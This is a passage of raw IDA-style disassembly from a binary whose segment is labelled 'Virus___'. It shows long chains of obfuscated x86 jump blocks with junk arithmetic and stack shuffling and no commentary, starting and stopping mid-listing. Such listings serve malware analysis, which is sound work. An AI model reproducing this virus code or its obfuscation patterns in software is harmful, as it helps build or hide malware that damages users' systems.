		mov	edi, 2941241h
		add	eax, edi
		pop	edi
		add	eax, 41CC133Bh
		jmp	loc_553E72
; ---------------------------------------------------------------------------


loc_551228:				; CODE XREF: Virus___:005566DDj
		sub	edx, 0F6127D0Fh
		sub	edi, 31335484h
		add	edi, edx
		add	edi, 31335484h
		jmp	loc_558C94
; ---------------------------------------------------------------------------


loc_551241:				; CODE XREF: Virus___:00554872j
		inc	al
		neg	al
		add	al, 94h
		shl	al, 1
		xor	al, 40h
		or	dh, al
		pop	eax
		xchg	bh, dh
		inc	bh
		xchg	bh, dh
		and	dh, 6Dh
		add	dh, 57h
		push	3052h
		mov	[esp], edx
		jmp	loc_555DBC
; ---------------------------------------------------------------------------


loc_551267:				; CODE XREF: Virus___:0055070Ej
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2
		sub	edi, ebp
		mov	ebp, [esp]
		jmp	loc_55BFBB
; ---------------------------------------------------------------------------


loc_551291:				; CODE XREF: Virus___:00550968j
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55490D
; ---------------------------------------------------------------------------


loc_55129C:				; CODE XREF: Virus___:00555750j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 416923C3h
		xor	esi, edx
		pop	edx
		push	esi
		jmp	loc_563103
; ---------------------------------------------------------------------------


loc_5512C0:				; CODE XREF: Virus___:00560C01j
		xor	[esp], ebx
		jmp	loc_55585E
; ---------------------------------------------------------------------------


loc_5512C8:				; CODE XREF: Virus___:00557584j
		mov	ax, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_55534F
; ---------------------------------------------------------------------------


loc_5512DA:				; CODE XREF: Virus___:00563893j
		and	esi, 2C2D755Ch
		add	esi, 0DBD68AF4h
		add	ebp, esi
		pop	esi
		jmp	loc_56117F
; ---------------------------------------------------------------------------


loc_5512EE:				; CODE XREF: Virus___:005584D1j
		add	edi, 4
		push	ebx
		jmp	loc_553B3C
; ---------------------------------------------------------------------------


loc_5512FA:				; CODE XREF: Virus___:00554738j
		sub	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	eax, ecx
		pop	ecx
		sub	eax, 5E556DBFh
		jmp	loc_55CD7A
; ---------------------------------------------------------------------------


loc_551310:				; CODE XREF: Virus___:00555F27j
		not	esi
		add	esi, 0CE41299h
		inc	esi
		jmp	loc_55D377
; ---------------------------------------------------------------------------


loc_55131E:				; CODE XREF: Virus___:0056190Bj
		pop	ebx
		add	esp, 4
		jmp	loc_563EDC
; ---------------------------------------------------------------------------


loc_55132A:				; CODE XREF: Virus___:00564120j
		add	esp, 4
		jmp	loc_55C3DE
; ---------------------------------------------------------------------------


loc_551335:				; CODE XREF: Virus___:00564026j
		sub	edi, esi
		jmp	loc_55C7AC
; ---------------------------------------------------------------------------


loc_55133C:				; CODE XREF: Virus___:00551A89j
		pop	esp
		push	ecx
		mov	cl, 9Fh
		and	cl, 0F4h
		sub	cl, 6Ch
		sub	al, cl
		jmp	loc_555AAE
; ---------------------------------------------------------------------------


loc_55134D:				; CODE XREF: Virus___:0055218Aj
		pop	edi
		jmp	loc_552F32
; ---------------------------------------------------------------------------


loc_551353:				; CODE XREF: Virus___:00564C25j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		xor	edi, [esp]
		jmp	loc_560D39
; ---------------------------------------------------------------------------


loc_55136B:				; CODE XREF: Virus___:0055B99Bj
		add	esp, 4
		add	edx, 4
		push	edi
		push	esi
		jmp	loc_563B65
; ---------------------------------------------------------------------------


loc_55137B:				; CODE XREF: Virus___:005587DEj
		sub	ebp, 0A0EF3899h
		jmp	loc_558841
; ---------------------------------------------------------------------------


loc_551386:				; CODE XREF: Virus___:00556643j
		sub	esi, 25B71EE6h
		jmp	loc_563EBE
; ---------------------------------------------------------------------------


loc_551391:				; CODE XREF: Virus___:00551120j
		mov	[esp], eax
		push	ebx
		mov	ebx, 76F0000Dh
		jmp	loc_552914
; ---------------------------------------------------------------------------


loc_55139F:				; CODE XREF: Virus___:0055E11Cj
		mov	ecx, 7EE64B83h
		not	ecx
		jmp	loc_564C2A
; ---------------------------------------------------------------------------


loc_5513AB:				; CODE XREF: Virus___:00561098j
		add	edi, 6D7020A1h
		and	edi, 0CFD27FDh
		push	ebp
		mov	ebp, 49923B9h
		jmp	loc_55C28B
; ---------------------------------------------------------------------------


loc_5513C2:				; CODE XREF: Virus___:0054FE57j
		add	ah, cl
		pop	ecx
		mov	dh, ah
		mov	eax, [esp]
		add	esp, 4
		add	dh, 1
		jmp	loc_55BA24
; ---------------------------------------------------------------------------


loc_5513D8:				; CODE XREF: Virus___:00562033j
		mov	edx, 61026A21h
		jmp	loc_5519D2
; ---------------------------------------------------------------------------


loc_5513E2:				; CODE XREF: Virus___:005594E0j
		sub	ecx, ebx
		pop	ebx
		pop	eax
		jmp	loc_551CC2
; ---------------------------------------------------------------------------


loc_5513EB:				; CODE XREF: Virus___:0055D77Bj
		add	esp, 4
		jmp	loc_55B67E
; ---------------------------------------------------------------------------


loc_5513F6:				; CODE XREF: Virus___:005504B6j
		add	edx, 69884940h
		add	edx, ebx
		sub	edx, 69884940h
		jmp	loc_55164C
; ---------------------------------------------------------------------------


loc_551409:				; CODE XREF: Virus___:0055DB36j
		dec	ecx
		jmp	loc_561EF7
; ---------------------------------------------------------------------------


loc_55140F:				; CODE XREF: Virus___:00561A29j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_55BF8B
; ---------------------------------------------------------------------------


loc_551427:				; CODE XREF: Virus___:00561883j
		mov	bl, 12h
		add	bl, 0FFh
		not	bl
		push	715Bh
		jmp	loc_5638F4
; ---------------------------------------------------------------------------


loc_551438:				; CODE XREF: Virus___:0055FEE3j
		pop	esp
		sub	esi, 0FE4529AFh
		push	4EA9h
		mov	[esp], esi
		jmp	loc_55F8C5
; ---------------------------------------------------------------------------


loc_55144C:				; CODE XREF: Virus___:005584F3j
		and	edx, 7F521015h
		xor	edx, 30001004h
		add	edi, edx
		pop	edx
		push	7FE5h
		jmp	loc_55CD13
; ---------------------------------------------------------------------------


loc_551465:				; CODE XREF: Virus___:00559061j
		mov	edx, edi
		pop	edi
		mov	esi, 2E21285Eh
		xor	esi, edx
		pop	edx
		xor	esi, 5D0F7FA6h
		push	edx
		jmp	loc_550EB8
; ---------------------------------------------------------------------------


loc_55147C:				; CODE XREF: Virus___:0055FE1Fj
		mov	ebx, 141C410Fh
		sub	ecx, ebx
		pop	ebx
		jmp	loc_562737
; ---------------------------------------------------------------------------


loc_551489:				; CODE XREF: Virus___:0055BE91j
		push	edx
		mov	edx, eax
		push	eax
		push	76F2h
		mov	[esp], edx
		jmp	loc_55721B
; ---------------------------------------------------------------------------


loc_55149A:				; CODE XREF: Virus___:00553D52j
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		jmp	loc_55D34E
; ---------------------------------------------------------------------------


loc_5514B1:				; CODE XREF: Virus___:0055C8C9j
		push	esi
		jmp	loc_554FA3
; ---------------------------------------------------------------------------


loc_5514B7:				; CODE XREF: Virus___:005516EEj
		push	eax
		mov	al, 0E8h
		add	cl, al
		pop	eax
		add	cl, ah
		sub	cl, 0E8h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	al, cl
		jmp	loc_5520B2
; ---------------------------------------------------------------------------


loc_5514D0:				; CODE XREF: Virus___:00553830j
		mov	esi, [esp]
		add	esp, 4
		xor	eax, ebp
		pop	ebp
		jmp	loc_55AE70
; ---------------------------------------------------------------------------


loc_5514E1:				; CODE XREF: Virus___:005620C9j
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, ebx
		jmp	loc_55C5F3
; ---------------------------------------------------------------------------


loc_5514F1:				; CODE XREF: Virus___:0055D042j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 5CD210B4h
		push	ebp
		push	633F0466h
		pop	ebp
		add	edx, ebp
		pop	ebp
		jmp	loc_5635BD
; ---------------------------------------------------------------------------


loc_551520:				; CODE XREF: Virus___:0055456Fj
		pop	esp
		push	dword ptr [eax]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_551528:				; CODE XREF: Virus___:0055F181j
		add	edx, 566F63B2h
		pop	esi
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_551534:				; CODE XREF: Virus___:0055F443j
		push	2450h
		mov	[esp], edi
		mov	edi, 4
		add	esi, edi
		jmp	loc_56124D
; ---------------------------------------------------------------------------


loc_551548:				; CODE XREF: Virus___:00550E44j
		mov	ebx, [esp]
		add	esp, 4
		and	ebx, edx
		mov	edx, [esp]
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		jmp	loc_550CE7
; ---------------------------------------------------------------------------


loc_55156C:				; CODE XREF: Virus___:00553B7Bj
		push	esi
		push	edi
		mov	edi, 70AD2F0Fh
		jmp	loc_55454A
; ---------------------------------------------------------------------------


loc_551578:				; CODE XREF: Virus___:0055EF96j
		inc	esi
		shr	esi, 7
		sub	esi, 0B61C34h
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		jmp	loc_559258
; ---------------------------------------------------------------------------


loc_55158D:				; CODE XREF: Virus___:00560C23j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5515AA:				; CODE XREF: Virus___:00556941j
		mov	ebp, edx
		pop	edx
		sub	ebx, 1BFD06C1h
		jmp	loc_556AC8
; ---------------------------------------------------------------------------


loc_5515B8:				; CODE XREF: Virus___:00550038j
		push	edx
		mov	dh, bl
		jmp	loc_561CDF
; ---------------------------------------------------------------------------


loc_5515C0:				; CODE XREF: Virus___:005536F0j
		mov	[esp], edx
		mov	edx, 18C53973h
		sub	edx, 61A81E0Ch
		and	edx, 65944E8Ch
		push	ecx
		jmp	loc_55FE00
; ---------------------------------------------------------------------------


loc_5515DA:				; CODE XREF: Virus___:005580AFj
		shl	ebx, 4
		inc	ebx
		xor	ebx, 79307B5h
		jmp	loc_55579B
; ---------------------------------------------------------------------------


loc_5515E9:				; CODE XREF: Virus___:00563EB9j
		pop	ebp
		and	eax, edx
		pop	edx
		jmp	loc_559E95
; ---------------------------------------------------------------------------


loc_5515F2:				; CODE XREF: Virus___:00559560j
		xor	edi, [esp]
		jmp	loc_5646D6
; ---------------------------------------------------------------------------


loc_5515FA:				; CODE XREF: Virus___:00562799j
		mov	edx, 612741EEh
		jmp	loc_551C6F
; ---------------------------------------------------------------------------


loc_551604:				; CODE XREF: Virus___:00555AE3j
		push	edi
		not	dword ptr [esp]
		pop	edi
		xor	edi, 0DAF8EEC3h
		push	edi
		push	edx
		mov	edx, 18EF0736h
		xor	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ecx
		mov	ecx, 18EF0736h
		xor	ebx, ecx
		jmp	loc_5619C9
; ---------------------------------------------------------------------------


loc_551644:				; CODE XREF: Virus___:0055E4F3j
		pop	eax
		sub	edi, ecx
		jmp	loc_5552F0
; ---------------------------------------------------------------------------


loc_55164C:				; CODE XREF: Virus___:00551404j
		mov	ebx, [esp]
		push	ecx
		jmp	loc_5535A5
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55AE24
; ---------------------------------------------------------------------------


loc_55165E:				; CODE XREF: Virus___:0055234Aj
		pop	esp
		mov	[esp], dx
		jmp	loc_5537D8
; ---------------------------------------------------------------------------


loc_551668:				; CODE XREF: Virus___:00553E2Aj
		or	ebx, 66AE0B92h
		jmp	loc_5636D5
; ---------------------------------------------------------------------------


loc_551673:				; CODE XREF: Virus___:0055E2D0j
		and	ebx, 0DD96417h
		add	ebx, 563F6C84h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 19556B26h
		xor	edi, 0A93B437Ch
		add	ebx, 63594842h
		sub	ebx, edi
		jmp	loc_55830F
; ---------------------------------------------------------------------------


loc_5516A0:				; CODE XREF: Virus___:0055376Cj
		add	edi, esi
		pop	esi
		jmp	loc_552199
; ---------------------------------------------------------------------------


loc_5516A8:				; CODE XREF: Virus___:0055A1C3j
		push	3F9Dh
		mov	[esp], ecx
		push	edx
		jmp	loc_561F3D
; ---------------------------------------------------------------------------


loc_5516B6:				; CODE XREF: Virus___:0055AB74j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_554978
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		push	small 7581h
		mov	[esp], ax
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5516D8:				; CODE XREF: Virus___:0056046Aj
		mov	cl, bh
		pop	ebx
		pop	eax
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5514B7
; ---------------------------------------------------------------------------


loc_5516F3:				; CODE XREF: Virus___:005534B9j
		inc	word ptr [esp]
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5516FD:				; CODE XREF: Virus___:0055AE06j
		pop	dword ptr [esp]
		jmp	loc_555E75
; ---------------------------------------------------------------------------


loc_551705:				; CODE XREF: Virus___:005547F9j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5588C4
; ---------------------------------------------------------------------------


loc_551714:				; CODE XREF: Virus___:0055AA45j
		mov	esp, [esp]
		jmp	loc_54F8D1
; ---------------------------------------------------------------------------


loc_55171C:				; CODE XREF: Virus___:0055DAB9j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_551727:				; CODE XREF: Virus___:0055B983j
		xor	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	eax
		jmp	loc_56116F
; ---------------------------------------------------------------------------


loc_551744:				; CODE XREF: Virus___:005574C4j
		push	eax
		mov	eax, 2499064Ah
		jmp	loc_560E27
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	ecx
		push	esp
		pop	ecx
		push	ebp
		push	edx
		jmp	loc_55E037
; ---------------------------------------------------------------------------


loc_55175C:				; CODE XREF: Virus___:0055EB1Cj
		push	esi
		mov	esi, 10003Dh
		add	ecx, 156A4A3Dh
		sub	ecx, esi
		sub	ecx, 156A4A3Dh
		jmp	loc_55EAB7
; ---------------------------------------------------------------------------


loc_551775:				; CODE XREF: Virus___:0055E513j
		add	edx, 4
		jmp	loc_55DF52
; ---------------------------------------------------------------------------


loc_551780:				; CODE XREF: Virus___:0055C4B3j
		pop	ebx
		push	eax
		push	ebx
		mov	bl, 0AFh
		push	edx
		push	eax
		mov	ah, bl
		mov	dl, ah
		pop	eax
		mov	ah, dl
		pop	edx
		pop	ebx
		dec	ah
		neg	ah
		sub	ah, 51h
		jmp	loc_561479
; ---------------------------------------------------------------------------


loc_55179C:				; CODE XREF: Virus___:00554DCDj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55543B
; ---------------------------------------------------------------------------


loc_5517A5:				; CODE XREF: Virus___:0055A7B1j
		add	[esp+4], eax
		jmp	loc_55F5A7
; ---------------------------------------------------------------------------


loc_5517AE:				; CODE XREF: Virus___:0055A06Aj
		push	59EA1F26h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_550CF2
; ---------------------------------------------------------------------------


loc_5517BE:				; CODE XREF: Virus___:005581D7j
		add	ecx, 4
		jmp	loc_563456
; ---------------------------------------------------------------------------


loc_5517C6:				; CODE XREF: Virus___:005620F2j
		mov	ebp, esp
		push	2FBDh
		mov	[esp], ecx
		mov	ecx, 37815115h
		push	edi
		mov	edi, 45197F21h
		add	ecx, edi
		pop	edi
		neg	ecx
		push	edx
		mov	edx, 65FE61C7h
		add	edx, 3E606263h
		push	edi
		jmp	loc_55A71A
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_5611EC
		push	ecx
		jmp	loc_561ACD
; ---------------------------------------------------------------------------


loc_551803:				; CODE XREF: Virus___:0055D074j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56336F
; ---------------------------------------------------------------------------


loc_55181A:				; CODE XREF: Virus___:00562310j
		xchg	ecx, esi
		dec	esi
		push	1BF9h
		mov	[esp], eax
		push	0EDCC2A51h
		jmp	loc_561671
; ---------------------------------------------------------------------------


loc_55182F:				; CODE XREF: Virus___:00563F73j
		mov	ebp, esp
		push	edx
		mov	edx, 78BA5D38h
		jmp	loc_554177
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebp
		jmp	loc_554C9F
; ---------------------------------------------------------------------------


loc_55184C:				; CODE XREF: Virus___:00561DA9j
		xchg	edi, [esp]
		pop	esp
		xor	ebx, ecx
		jmp	loc_55FD1D
; ---------------------------------------------------------------------------


loc_551857:				; CODE XREF: Virus___:005643FDj
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_5532C2
; ---------------------------------------------------------------------------


loc_551867:				; CODE XREF: Virus___:0056089Fj
		push	ebp
		mov	ebp, 97E510Fh
		mov	esi, ebp
		mov	ebp, [esp]
		jmp	loc_564807
; ---------------------------------------------------------------------------


loc_551877:				; CODE XREF: Virus___:0055C98Dj
		push	6E62h
		mov	[esp], edx
		push	3A0Bh
		mov	[esp], ebx
		push	ecx
		mov	ecx, 2D3A76CFh
		mov	ebx, 46D7642Ch
		xor	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_54FF59
; ---------------------------------------------------------------------------


loc_55189C:				; CODE XREF: Virus___:005648DEj
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		jmp	loc_5645D2
; ---------------------------------------------------------------------------


loc_5518AD:				; CODE XREF: Virus___:00555494j
		add	esp, 4
		push	eax
		push	edx
		push	3EF70055h
		pop	edx
		dec	edx
		inc	edx
		xor	edx, 0CD7662Eh
		jmp	loc_55E4B8
; ---------------------------------------------------------------------------


loc_5518C8:				; CODE XREF: Virus___:00551CF5j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	6E6Ah
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_552371
; ---------------------------------------------------------------------------


loc_5518EA:				; CODE XREF: Virus___:0055F2BEj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_55478D
; ---------------------------------------------------------------------------


loc_551909:				; CODE XREF: Virus___:00562C2Cj
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	0CCCh
		mov	[esp], eax
		mov	eax, 6FD3403Fh
		add	eax, 1
		push	edx
		mov	edx, 640936FEh
		and	edx, 3CCF46FDh
		neg	edx
		inc	edx
		push	ebx
		mov	ebx, 4BB051AAh
		neg	ebx
		sub	ebx, 1DB568C6h
		dec	ebx
		sub	ebx, 0E2647ED0h
		add	edx, ebx
		pop	ebx
		sub	eax, 0DC52AACh
		add	eax, edx
		add	eax, 0DC52AACh
		pop	edx
		add	esi, eax
		pop	eax
		add	esi, 4
		jmp	loc_55B91A
; ---------------------------------------------------------------------------


loc_551965:				; CODE XREF: Virus___:005552B3j
		push	704Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		push	13C0h
		mov	[esp], edx
		jmp	loc_550F1E
; ---------------------------------------------------------------------------


loc_551989:				; CODE XREF: Virus___:00563718j
		sub	ebx, 0C295176h
		add	ebx, 2C2BD182h
		add	ecx, 0E32570Bh
		add	ecx, ebx
		sub	ecx, 0E32570Bh
		pop	ebx
		jmp	loc_561AB8
; ---------------------------------------------------------------------------


loc_5519A9:				; CODE XREF: Virus___:0055C46Dj
		not	cl
		or	cl, 13h
		add	cl, 15h
		shr	cl, 7
		push	eax
		jmp	loc_555958
; ---------------------------------------------------------------------------


loc_5519BA:				; CODE XREF: Virus___:00564363j
		add	esi, 1A216D31h
		pop	edx
		add	eax, 41C67ACh
		sub	eax, esi
		sub	eax, 41C67ACh
		jmp	loc_560B42
; ---------------------------------------------------------------------------


loc_5519D2:				; CODE XREF: Virus___:005513DDj
		xor	edx, 4B276914h
		sub	eax, 251E0AB3h
		add	eax, edx
		jmp	loc_550C01
; ---------------------------------------------------------------------------


loc_5519E4:				; CODE XREF: Virus___:00562286j
		add	esi, ebp
		pop	ebp
		add	esi, 5654F53h
		push	esi
		pop	ebx
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_564C7D
; ---------------------------------------------------------------------------


loc_551A05:				; CODE XREF: Virus___:0055499Fj
		pop	ebx
		jmp	loc_55BF40
; ---------------------------------------------------------------------------


loc_551A0B:				; CODE XREF: Virus___:0055FCE6j
		mov	ah, 43h
		sub	ah, cl
		pop	ecx
		push	dx
		jmp	loc_55F890
; ---------------------------------------------------------------------------


loc_551A17:				; CODE XREF: Virus___:00562ED2j
		push	ebx
		mov	bh, ah
		mov	cl, bh
		jmp	loc_55BD0B
; ---------------------------------------------------------------------------


loc_551A21:				; CODE XREF: Virus___:005647AEj
		pop	esp
		mov	[esp], ebx
		mov	ebx, 7B5C5605h
		jmp	loc_56309F
; ---------------------------------------------------------------------------


loc_551A2F:				; CODE XREF: Virus___:0055B213j
		shr	esi, 5
		push	esi
		not	dword ptr [esp]
		pop	esi
		xor	esi, 87ADE84Dh
		jmp	loc_56227A
; ---------------------------------------------------------------------------


loc_551A42:				; CODE XREF: Virus___:00564A70j
		inc	ebx
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_561C77
; ---------------------------------------------------------------------------


loc_551A51:				; CODE XREF: Virus___:0055E810j
		push	5B3Dh
		mov	[esp], ebx
		mov	ebx, 7FA76F61h
		jmp	loc_553F6C
; ---------------------------------------------------------------------------


loc_551A63:				; CODE XREF: Virus___:0056191Ej
		xor	eax, ebx
		push	33Ch
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55371A
; ---------------------------------------------------------------------------


loc_551A7B:				; CODE XREF: Virus___:0056066Cj
		push	380h
		jmp	loc_55D2C0
; ---------------------------------------------------------------------------


loc_551A85:				; CODE XREF: Virus___:0056068Aj
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_55133C
; ---------------------------------------------------------------------------


loc_551A8E:				; CODE XREF: Virus___:00558DB1j
		mov	edi, 7FD65E91h
		jmp	loc_553545
; ---------------------------------------------------------------------------


loc_551A98:				; CODE XREF: Virus___:00550CCDj
		add	eax, 1FB02D6Dh
		add	eax, 65915B5Eh
		jmp	loc_55E121
; ---------------------------------------------------------------------------


loc_551AA7:				; CODE XREF: Virus___:0055D259j
		sub	ecx, 86196AD4h
		sub	edx, ecx
		pop	ecx
		jmp	loc_556027
; ---------------------------------------------------------------------------


loc_551AB5:				; CODE XREF: Virus___:0055B64Bj
		mov	ch, 51h
		sub	ch, 31h
		sub	bl, ch
		pop	ecx
		add	bl, cl
		add	bl, 20h
		pop	ecx
		movzx	eax, al
		mov	dx, [esp]
		push	5300h
		jmp	loc_55E518
; ---------------------------------------------------------------------------


loc_551AD4:				; CODE XREF: Virus___:0055B4DFj
		pop	ebp
		pop	eax
		and	eax, ebx
		jmp	loc_551F30
; ---------------------------------------------------------------------------


loc_551ADD:				; CODE XREF: Virus___:005626C8j
		mov	ebp, 530A7F95h
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_558F68
; ---------------------------------------------------------------------------


loc_551AF0:				; CODE XREF: Virus___:0055E57Cj
		sub	esi, ebp
		jmp	loc_552A17
; ---------------------------------------------------------------------------


loc_551AF7:				; CODE XREF: Virus___:0055F882j
		push	321B5392h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	edx, 67992DB1h
		mov	ecx, edx
		jmp	loc_55DB35
; ---------------------------------------------------------------------------


loc_551B13:				; CODE XREF: Virus___:0055B5A0j
		pop	ebp
		mov	ebx, edi
		mov	edi, [esp]
		push	ecx
		jmp	loc_55605D
; ---------------------------------------------------------------------------


loc_551B1F:				; CODE XREF: Virus___:0055BE31j
		sub	edi, 3EA6070Bh
		add	edi, ebx
		add	edi, 3EA6070Bh
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_557608
; ---------------------------------------------------------------------------


loc_551B36:				; CODE XREF: Virus___:005576DAj
		add	edx, esi
		pop	esi
		push	edx
		not	dword ptr [esp]
		pop	edx
		add	edx, 0C8C6FC23h
		or	esi, edx
		pop	edx
		push	ebp
		jmp	loc_55515A
; ---------------------------------------------------------------------------


loc_551B4D:				; CODE XREF: Virus___:005636B3j
		mov	[esp], cx
		push	eax
		mov	al, 0Dh
		jmp	loc_555E57
; ---------------------------------------------------------------------------


loc_551B59:				; CODE XREF: Virus___:0055425Bj
		add	edx, 6D2939A0h
		shl	edx, 1
		add	edx, 0D35B3147h
		sub	esi, edx
		pop	edx
		push	esi
		mov	esi, 3E001E83h
		sub	esi, 0F00ABDA6h
		add	eax, esi
		jmp	loc_55E88D
; ---------------------------------------------------------------------------


loc_551B7D:				; CODE XREF: Virus___:0056398Fj
		pop	ebp
		add	edi, 472448E0h
		sub	edi, 2EA42657h
		add	edi, esi
		add	edi, 2EA42657h
		push	ebp
		push	ecx
		mov	ecx, 472448E0h
		jmp	loc_5593A8
; ---------------------------------------------------------------------------


loc_551B9E:				; CODE XREF: Virus___:0055B668j
		xor	edi, 0C400700h
		add	ebp, 76503308h
		add	ebp, edi
		sub	ebp, 76503308h
		pop	edi
		push	3F80h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 8CD15DBh
		push	edi
		jmp	loc_5590CC
; ---------------------------------------------------------------------------


loc_551BCC:				; CODE XREF: Virus___:0055D666j
		push	4C2Fh
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_55355E
; ---------------------------------------------------------------------------


loc_551BDB:				; CODE XREF: Virus___:0055F49Cj
		mov	ch, 2Bh
		mov	bh, 0E9h
		sub	bh, ch
		pop	ecx
		or	cl, bh
		mov	ebx, [esp]
		add	esp, 4
		sub	cl, 58h
		add	al, 99h
		sub	al, cl
		jmp	loc_56491C
; ---------------------------------------------------------------------------


loc_551BF9:				; CODE XREF: Virus___:00557DEDj
		push	dword ptr [esp+4]
		jmp	loc_5557EB
; ---------------------------------------------------------------------------


loc_551C02:				; CODE XREF: Virus___:005522BBj
		mov	ebp, 4
		add	esi, 6F10780Eh
		add	esi, 38B7D37h
		add	esi, ebp
		sub	esi, 38B7D37h
		sub	esi, 6F10780Eh
		pop	ebp
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4B3F32DEh
		xor	ebx, 4B3F32DAh
		add	ebp, ebx
		pop	ebx
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebx
		mov	ebx, 23AA5192h
		sub	ebx, 70734E38h
		xor	ebx, 45646754h
		shl	ebx, 7
		shl	ebx, 5
		xor	ebx, 181A6676h
		push	eax
		push	edi
		push	6E003EAh
		pop	edi
		jmp	loc_5635D1
; ---------------------------------------------------------------------------


loc_551C6F:				; CODE XREF: Virus___:005515FFj
		push	ebp
		jmp	loc_5556D3
; ---------------------------------------------------------------------------


loc_551C75:				; CODE XREF: Virus___:0055CED1j
		pop	edi
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_556BA5
; ---------------------------------------------------------------------------


loc_551C81:				; CODE XREF: Virus___:00557DC1j
		push	eax
		jmp	loc_555DC7
; ---------------------------------------------------------------------------


loc_551C87:				; CODE XREF: Virus___:00555329j
		shr	ecx, 7
		shr	ecx, 5
		xor	ecx, 1BFD1C07h
		add	ebx, ecx
		jmp	loc_5531D6
; ---------------------------------------------------------------------------


loc_551C9A:				; CODE XREF: Virus___:0055447Bj
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55FA24
; ---------------------------------------------------------------------------


loc_551CAB:				; CODE XREF: Virus___:005548E1j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	esi
		push	0F3E3533h
		jmp	loc_551182
; ---------------------------------------------------------------------------


loc_551CC2:				; CODE XREF: Virus___:005513E6j
		xchg	ecx, [esp]
		pop	esp
		push	edi
		mov	edi, 2657FB8h
		and	edi, 56D41D6Ah
		or	edi, 5FD761D2h
		shr	edi, 3
		xor	edi, 0BFAEFBBh
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		jmp	loc_5518C8
; ---------------------------------------------------------------------------


